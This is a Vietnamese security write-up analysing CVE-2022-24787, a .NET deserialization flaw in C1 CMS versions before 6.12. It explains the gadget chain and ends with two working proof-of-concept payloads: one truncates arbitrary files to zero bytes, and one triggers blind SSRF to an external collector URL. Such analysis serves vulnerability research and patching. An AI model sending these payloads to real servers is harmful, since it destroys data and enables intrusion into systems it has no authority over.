Phân tích CVE-2022-24787: Lỗ hổng .NET deserialization dẫn đến SSRF
Bài đăng này đã không được cập nhật trong 2 năm
Tiếp nối những bài phân tích về lỗ hổng trên C1 CMS. Hôm nay tôi sẽ phân tích một lỗ hổng khá thú vị, đó là CVE-2022-24787, lỗ hổng Deserialization dẫn đến SSRF hoặc cắt nội dung file tùy ý trên C1 CMS. Theo thông tin về lỗ hổng này tại https://securitylab.github.com/advisories/GHSL-2022-001_Orckestra_C1_CMS/. Ta được biết lỗ hổng tồn tại trên C1 CMS < 6.12. Không hiểu vì sao, mà tôi không thể cài đặt phiên bản 6.11 nên trong bài phân tích này tôi sử dụng phiên bản 6.10 để phân tích.
Cài đặt môi trường Debug
Việc cài đặt môi trường để debug C1 CMS khá đơn giản, nếu các bạn chưa thể thực hiện debug các bạn có thể làm theo hướng dẫn trong bài viết trước tại https://viblo.asia/p/think-out-of-the-box-trong-viec-tim-kiem-lo-hong-net-deserialization-djeZ1zw8lWz.
Phân tích CVE-2022-24787
Để vá lỗ hổng RCE tôi tìm ra trước đó với mã CVE-2021-34992, chương trình đã thực hiện chỉnh sửa lại lớp CompositeSerializationBinder
. Lớp này không cho phép chúng ta khởi tạo các lớp tùy ý nữa từ đó không thể tạo các gadget chain để thực hiện RCE, nhưng lại cho phép chúng ta khởi tạo bất kì lớp C1 nội bộ nào và các lớp thuộc thư viện tiêu chuẩn mscorlib
hoặc System
, System.Collections
(Lưu ý hình dưới là chỉnh sửa ở phiên bản 6.11 nếu các bạn sử dụng phiên bản 6.10 để thực hiện phân tích thì sẽ có sự khác biệt).
Về chain để đi đến điểm trigger của lỗ hổng này cũng như việc chèn payload của chúng ta vào đâu sẽ y hệt như bài viết trước đó tôi đã đề cập. Chain sẽ như sau:
Spikes_RelationshipGraph_Default.Page_Load(object sender, EventArgs e)
=> EntityTokenSerializer. Deserialize(string serializedEntityToken)
=> EntityTokenSerializer.Deserialize( string serializedEntityToken, bool includeHashValue)
=> CompositeJsonSerializer.Deserialize<T>(string str, bool isSigned)
=> CompositeJsonSerializer.Deserialize<T>(string str)
=> JsonConvert.DeserializeObject<T >(str, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.Auto,
Binder = CompositeSerializationBinder.Instance
});
và chúng ta thực hiện chèn object payload của chúng ta vào thuộc tính GroupingValues
của lớp DataGroupingProviderHelperEntityToken
.
Và rồi vấn đề của chúng ta bắt đầu từ đây. Do binder đã chặn khởi tạo các lớp tùy ý, nên ta không thực hiện RCE được mà chỉ có thể khởi tạo một số lớp giới hạn. Trường hợp này không khác gì việc có một miếng bánh ngon ngọt mà chúng ta chưa thể với tới.
Bây giờ làm sao để có thể trèo lên chạm được vào miếng bánh ngon ngọt đó. Chúng ta phải tìm công cụ để làm được điều đó. Ở đây, ta sẽ thực hiện tìm kiếm trong các lớp nội bộ của C1 hoặc các lớp trong thư viện mscorlib
, System
, hoặc System.Collections
một lớp nào đó để khi mà lớp đó được khởi tạo với các tham số tùy ý sẽ gây ra những hậu quả nhất định. Một lưu ý khi các bạn tìm kiếm các lớp để thực hiện chain của mình đó là, phải tìm các lớp mà gọi các method khác trong constructor hay trong setter của một thuộc tính nào đó. Lý do là vì khi thực hiện deserialize, .NET chỉ thực hiện khởi tạo lại lớp dựa vào constructor và sử dụng setter để thiết lập thuộc tính. Do đó nếu như không tìm được lớp thỏa mãn điều kiện trên thì chain của chúng ta sẽ không thể đi tiếp được nữa. Quay lại với CVE-2022-24787, theo mô tả của CVE này, thì lỗ hổng có thể gây ra việc cắt nội dung file tùy ý hoặc thực hiện lỗ hổng SSRF.
Cắt nội dung file tùy ý
Với lỗ hổng này, ta thực hiện tìm kiếm trong mã nguồn và tìm được lớp Composite.Core.Implementation.C1FileStreamImplementation
. Constructor của lớp này như sau:
Như các bạn có thể thấy, sau khi set các giá trị cụ thể trong constructor, chương trình sẽ gọi tiếp đến method CreateC1FileStream
để thực hiện tạo một file với các tham số đã được đặt trước. Chú ý ở thuộc tính Position
chỉ định vị trí hiện tại của FileStream
.
Các giá trị cụ thể của tham số truyền vào constructor như sau:
-
path: chỉ định đường dẫn đến file
-
mode: chỉ định các mode làm việc với file ở tham số path
- mode = 1: Tạo mới file
- mode = 2: Tạo mới file, nếu file đã tồn tại sẽ ghi đè
- mode = 3: Mở file
- mode = 4: Mở file nếu tồn tại, ngược lại sẽ tạo mới file
- mode = 5: Cắt file về 0 byte
- mode = 6: Mở file và thêm vào cuối file, nếu không tồn tại sẽ tạo mới file
-
access: Chỉ định quyền cho phép đọc, ghi file cụ thể:
- access = 1: Đọc file
- access = 2: Ghi file
- access = 3: Đọc hoặc ghi file
-
share: Chỉ định các kiểu truy cập mà các đối tượng
FileStream
khác có thể làm việc với file này- share = 0: Không chia sẻ file hiện tại cho đến khi được đóng
- share = 1: Cho phép đối tượng khác mở file này để đọc khi đang làm việc với file
- share = 2: Cho phép đối tượng khác mở file này để ghi khi đang làm việc với file
- share = 3: Cho phép đối tượng khác mở file này để đọc hoặc ghi khi đang làm việc với file
- share = 4: Cho phép xóa file
- share = 16: file được kế thừa bởi tiến trình con
-
bufferSize: chỉ định kích thước bộ đệm, mặc định là 4096 byte.
Như vậy để cắt nội dung file bất kì về 0 byte, ta thực hiện khởi tạo đối tượng lớp này với các giá trị: mode = 5, path = "đường dẫn đến file tùy ý", access = 3, share = 3, bufferSize = 1024, Position = 0
.
Poc của lỗ hổng này như sau:
http://localhost:36859/Composite/content/views/relationshipgraph/default.aspx?EntityToken={"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken', 'Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String,mscorlib],[System.Object,mscorlib]],mscorlib', 'test':{'$type':'Composite.Core.Implementation.C1FileStreamImplementation, Composite','path':'C:/Users/le.ngoc.anhd/Downloads/testfile.txt','mode':5,'access':3,'bufferSize' :1024,'Position':0,'share':3}}}, 'Payload':null,'SerializedTypeName':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken'}","meta:type":"System.Runtime.Serialization.SerializationException"}
Lỗ hổng SSRF
Lỗ hổng này xảy ra khi khởi tạo lớp Composite.C1Console.Forms.SchemaBuilder.ElementInformationExtractor
. Chúng ta hãy cùng xem xét kĩ hơn lớp này.
Khi khởi tạo đối tượng lớp ElementInformationExtractor
với tham số truyền vào là configurationFilePath
. Chương trình sẽ thực hiện gọi đến XDocumentUtils.Load(configurationFilePath)
. Nhảy vào method này ta được như sau:
Nếu tham số ta truyền vào chưa kí tự ://
thì sẽ thực hiện UriResolver.GetStream(inputUri)
. Đi tiếp vào method này.
Có thể thấy nếu uri ta truyền vào có schema không phải là file
thì sẽ sử dụng WebRequest.Create(requestUri)
để thực hiện request đến uri truyền vào và lấy response trả về đưa vào stream. Đây chính là nơi gây ra lỗi SSRF. Tuy nhiên đây lại là lỗi blind SSRF. Lý do là vì response sau khi trả về sẽ được chuyển vào XDocument.Load(stream, loadOptions)
để chuyển thành một đối tượng XDocument
. Tuy nhiên thì thông thường response trả về sẽ không phải dạng XML nên ở bước này sẽ gây ra lỗi của hệ thống, và ta sẽ không đọc được response trả về.
Poc của lỗ hổng này như sau:
{"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken,
Composite','Type':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken',
'Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String,mscorlib],[System.Object,mscorlib]],mscorlib',
'test':{'$type':'Composite.C1Console.Forms.SchemaBuilder%2BElementInformationExtractor, Composite','configurationFilePath':'https://eo655liwfm5aoyu.m.pipedream.net?testSSRF=true'}}},
'Payload':null,'SerializedTypeName':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken'}","meta:type":"System.Runtime.Serialization.SerializationException"}
Kết quả đạt được như sau:
All rights reserved